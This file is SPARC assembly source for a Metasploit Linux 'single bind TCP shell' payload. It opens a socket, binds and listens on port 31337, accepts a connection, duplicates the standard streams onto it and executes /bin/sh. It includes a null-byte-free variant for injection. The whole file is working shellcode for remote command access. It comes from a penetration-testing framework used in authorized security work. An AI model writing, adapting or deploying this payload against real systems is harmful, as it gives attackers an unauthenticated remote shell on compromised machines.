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##
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#
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#        Name: single_bind_tcp
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#   Platforms: Linux
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#     Authors: vlad902 <vlad902 [at] gmail.com>
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#     Version: $Revision: 1652 $
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#     License:
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#
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#        This file is part of the Metasploit Exploit Framework
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#        and is subject to the same licenses and copyrights as
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#        the rest of this package.
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#
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# Description:
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#
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#        Single bind TCP shell.
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#
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##
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.globl main
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main:
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	andn	%sp, 7, %sp
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	mov	2, %l0
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	mov	1, %o0
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	st	%l0, [ %sp - 0x0c ]
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	st	%o0, [ %sp - 0x08 ]
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	st	%g0, [ %sp - 0x04 ]
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	sub	%sp, 0x0c, %o1
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	mov	0xce, %g1
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	ta	0x10
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	sub	%sp, 0x20, %l2
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	mov	0x10, %l3
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	st	%o0, [ %sp - 0x0c ]
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	std	%l3, [ %sp - 0x08 ]
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#ifndef NO_NULLS
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	set	0x00027a68, %l4
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#else
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	set	0x27a68fff, %l4
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	srl	%l4, 12, %l4
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#endif
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	xor	%l5, %l5, %l5
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	std	%l4, [ %sp - 0x20 ]
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	mov	2, %o0
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	ta	0x10
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	mov	1, %l1
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	st	%l1, [ %sp - 0x08 ]
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	mov	4, %o0
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	ta	0x10
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	st	%g0, [ %sp - 0x08 ]
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	st	%g0, [ %sp - 0x04 ]
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	mov	5, %o0
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	ta	0x10
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	st	%o0, [ %sp - 0x0c ]
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	mov	3, %o1
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dup2_loop:
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	subcc	%o1, 1, %o1
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	mov	0x5a, %g1 
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	ta	0x10
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	bnz	dup2_loop
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	ld	[ %sp - 0x0c ], %o0
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	xor	%o3, %o3, %o2
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	set	0x2f62696e, %l0
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	set	0x2f736800, %l1
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	sub	%sp, 0x10, %o0
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	sub	%sp, 0x08, %o1
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	std	%l0, [ %sp - 0x10 ]
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	st	%o0, [ %sp - 0x08 ]
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	st	%g0, [ %sp - 0x04 ]
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	mov	0x3b, %g1
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	ta	0x08
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